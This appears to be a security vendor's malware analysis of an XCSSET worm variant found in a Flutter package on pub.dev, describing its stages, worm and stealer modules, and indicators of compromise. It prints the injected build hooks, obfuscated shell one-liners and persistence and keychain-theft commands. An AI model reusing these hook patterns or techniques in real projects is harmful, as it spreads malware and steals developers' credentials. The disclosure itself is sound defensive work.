Today, pub.dev joins the list of package registries we have found malware on. We detected a variant of XCSSET hiding inside universal_file_viewer (version 0.1.5), a Flutter file preview package on pub.dev with around 500 downloads. This is the first compromised package we have detected on pub.dev, the official package repository for Dart and Flutter. Unlike the recent npm supply chain attacks you might be familiar with, this was not a case of someone deliberately targeting this package.
XCSSET is a macOS worm that spams a malicious build hook into every Android Gradle project, Xcode project, and git repository it can find on a compromised machine. The maintainer's machine was infected, and when they published a new version of the package from that machine, the infected files came with it. The pub.dev package traces back to a compromised GitHub repository.
A quick GitHub search shows this is still happening today, with other maintainers actively pushing infected projects without knowing it:

For broader context on XCSSET, see the Unit 42 report The Xcode Assassin Returns and Microsoft's posts from March and September 2025.
What we found in the package
universal_file_viewer is a pub.dev package that provides inline file preview widgets for Flutter apps: PDF, Word, Excel, video, Markdown, and plain text. Its Dart library code in lib/ is entirely clean. The infected files are all inside the example/ directory, which ships in the pub.dev tarball but is never compiled when the package is used as a dependency. Simply adding universal_file_viewer to your pubspec.yaml and building your own app does not trigger anything. The risk is to someone who clones the repository and explicitly builds the example app locally. This isn't a targeted attack on the package or its dependents. The worm simply attached itself to any build files it found on the maintainer's infected machine, and most consumers of the package will never be affected.
Three separate build configurations were infected, each injected independently by XCSSET's worm modules:
example/android/app/build.gradle.kts contains a preBuild hook injected by the android_finder module:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A reconstructs xxd at runtime to defeat string-based scanners. The hex blob decodes to a curl to 5yotmxcc54l9xda[.]ru/a with campaign tag p=android_kotlin. This fires silently on every Gradle build, with output discarded.
example/ios/Runner.xcodeproj/project.pbxproj and example/macos/Runner.xcodeproj/project.pbxproj both contain a PBXBuildRule entry that fires when any .md file is processed during a build:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 is a build setting defined in the same file. For iOS it is base64-obfuscated (printf bdase64 | tr -d d), pointing to qdgs232i-q[.]ru with tag p=xcode_rule. For macOS it is hex-obfuscated (printf xxVd | tr -d V), pointing to ejntin6hkjt7gj2[.]ru with the same tag. Both fire on the build of the project.
The infection chain
XCSSET is made up of multiple stages and modules, each doing one specific thing.
Stages
- Stage 1: the build hook contacts the C2 and gets back a script that re-requests with the OS and username
- Stage 2: the server returns a ciphered shell script that collects the hardware serial number and locale, downloads the main loader to
/tmp/h, compiles an invisible app bundle around it, launches it, then deletes both within ten seconds - Stage 3: the loader is a run-only compiled AppleScript that decrypts itself using AES-256-CBC with a day-keyed key, then runs the decrypted payload in memory
- Stage 4: the decrypted payload is the core orchestrator that dispatches all modules
Propagation modules
android_finder: injects a maliciouspreBuildhook into every Android Gradle project on the machine. Any developer who builds one of those projects gets infected toogit_finder: writes a maliciouspre-commithook into every git repository on the machine. Fires on every commitreplicator_finder: injects a malicious build phase into every Xcode project on the machine. Any developer who builds one gets infected
Persistence
persist: replaces the Launchpad tile in the Dock with a fake bundle that re-triggers the chain every time the user clicks it. Survives reboots and leaves no trace in standard persistence locations
Theft modules
browser_remote: strips Chrome's Safe Storage keychain entry to intercept its re-generated encryption key, then exfiltrates saved passwords, cookies, and session tokenssafari_remote: drops a fake Safari bundle and exfiltrates Safari's local datafirefox_data: drops a native binary and exfiltrates Firefox credentialstdesktop: kills Telegram, replaces it with a trojanized copy, and targets session datanotes_app: waits for Notes, Reminders, or Calendar to open, then exfiltrates their dataclipboard: reads and exfiltrates clipboard contentssettings_app: impersonates System Settings and usessudofor privilege escalationdata_folders_finder: walks the home directory and exfiltrates files from targeted folders
All theft modules are fetched from the C2 and executed in memory via osascript. Nothing is written to disk. Stolen data is encrypted with AES-256-CBC before being sent to /u.
How it spreads
Before running any theft modules, the loader dispatches three worm modules.
android_finder
android_finder searches the home directory for Android build files:
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Movies -o -name Library ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -printFor each match, it confirms it is a real Android module before injecting, and cleans up any prior infection first. It handles both Kotlin DSL and Groovy build files. Any developer who then builds one of those projects gets infected, and so does anyone who clones the repo and builds it after them.
git_finder
git_finder finds every .git directory on the machine and writes a malicious pre-commit hook into each. The hook payload is polymorphic: C2 domain, encoding scheme, and nesting depth are all randomized per infection. The result looks like:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Every commit made by the developer, in any of their repos, silently re-triggers the full chain. If a hook already exists, the module removes the prior injected lines via sed before appending.
replicator_finder
replicator_finder is the classic XCSSET vector. It parses project.pbxproj files, checks for archiveVersion = and PBXShellScriptBuildPhase section, and injects a Run Script build phase. Any developer who opens and builds an infected Xcode project gets hit. This has been documented since 2020 and remains part of the toolkit alongside the two other vectors.
Persistence hiding in the Dock
The persist module answers whether this survives a reboot. It does, and in a way that evades standard persistence checks.
It downloads dockutil from the C2 (/d/dockutil_arm64 or /d/dockutil_amd64), ad-hoc signs it, and builds a fake app bundle under ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. The bundle's Info.plist is patched to impersonate Launchpad:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistIt then uses dockutil to swap the real Launchpad tile in the Dock for the fake bundle. Clicking Launchpad opens the real Launchpad (open -b com.apple.launchpad.launcher) and fires the malicious script alongside it. On every reboot, it executes the first time the user clicks Launchpad.
Stealer modules
With propagation and persistence in place, the loader dispatches theft modules. Each is fetched from /s/<module> and executed via osascript -e "$(curl ...)". Nothing is written to disk.
browser_remote downloads a native binary (cd_arm64 or cd_amd64) from the C2, removes Chrome's GoogleUpdater and SoftwareUpdate entries, and runs security delete-generic-password to strip Chrome's Safe Storage keychain entry. Removing this entry forces Chrome to regenerate its encryption key, which the binary intercepts to decrypt saved passwords, cookies, and session tokens.
safari_remote drops a fake Safari bundle under ~/Library/ASafari/ and ~/Library/Caches/com[.]beta[.]Safari and exfiltrates Safari's local data.
firefox_data downloads hbdm_arm64 or hbdm_amd64 and invokes it with -c password --zip, producing a firefox_browser_data.zip uploaded to /u.
tdesktop runs killall -9 Telegram, downloads a repackaged Telegram.app from the C2, and drops the replacement in place with ad-hoc signing. It targets Telegram's session data from both the classic path (~/Library/Application Support/Telegram Desktop/tdata) and the sandboxed container path.
notes_app waits for Notes, Reminders, or Calendar to be running, plants itself inside the relevant app bundle, and exfiltrates notes_app_data.zip.
clipboard runs a pbpaste loop and exfiltrates clipboard contents.
settings_app creates a fake System Settings bundle listed under "System Preferences" and "Preferences" in Spotlight, downloads a separate binary mac_bin_daemon_app from the C2, and runs commands via sudo -u for privilege escalation.
data_folders_finder walks the home directory and exfiltrates files from targeted folders to /u.
All stolen data goes to /u via multipart POST, encrypted with an AES-256-CBC key.
How Aikido detects this
If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.
If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.
For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.
For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.
Indicators of compromise
C2 domains
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
File artifacts
project.pbxprojcontaining aPBXBuildRulewithsh -c "${A3EA261}"build.gradleorbuild.gradle.ktscontaining obfuscated shell invocation usingprintf xAxd | tr -d Ato reconstructxxd.git/hooks/pre-commitcontainingbase64 --decode | base64 --decodeorxxd -p -r | xxd -p -r

